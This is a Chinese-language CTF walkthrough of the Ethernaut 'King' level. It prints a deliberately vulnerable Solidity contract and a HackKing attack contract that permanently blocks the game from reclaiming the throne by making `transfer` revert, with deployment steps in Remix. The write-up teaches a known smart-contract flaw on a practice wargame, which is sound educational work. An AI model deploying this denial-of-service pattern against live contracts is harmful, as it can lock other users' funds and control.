9. King

Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x25141B6345378e7558634Cf7c2d9B8670baFA417

要求

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

分析合约代码,关键点在于 receive 函数中:

1
king.transfer(msg.value);

这里犯了常见的错误:未考虑调用者 king 为另一个合约的情况。如果该合约未定义 fallback()receive() 函数,transfer() 就会失败,会自动revert(回滚交易)。

因此只要有一个未定义 fallback()receive() 函数的合约占用king,合约在 transfer 时失败,令king的地址永远属于该合约。

另一个关键点是,King 合约的 receive 有复杂的逻辑, 而

solidity三种发送ETH的方法:transfersendcall

  • call没有gas限制,最为灵活,是最提倡的方法;
  • transfer2300 gas限制,但是发送失败会自动revert交易,是次优选择;
  • send2300 gas限制,而且发送失败不会自动revert交易,几乎没有人用它。

因此只能用 call 函数进行调用。

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 9_King.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    contract HackKing {
    error CallFailed();
    address levelInstance;

    constructor(address _levelInstance) payable {
    levelInstance = _levelInstance;
    }

    function give() external payable {
    (bool success,) = levelInstance.call{value: msg.value}("");
    if(!success){
    revert CallFailed();
    }
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 give 函数:

    • 获取当前King 合约的 prize await getBalance(instance) 为 0.001 ether
    • VALUE 需要大于或者等于 0.001 ether
    • 手动调高 GAS LIMIT,不然调用合约会因为 out of gas 失败
  5. 查看 King 合约的king是否为HackKing 合约。

  6. 完成关卡。

后记

大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).

关于这次的情况, 参见: King of the Ether 和 King of the Ether Postmortem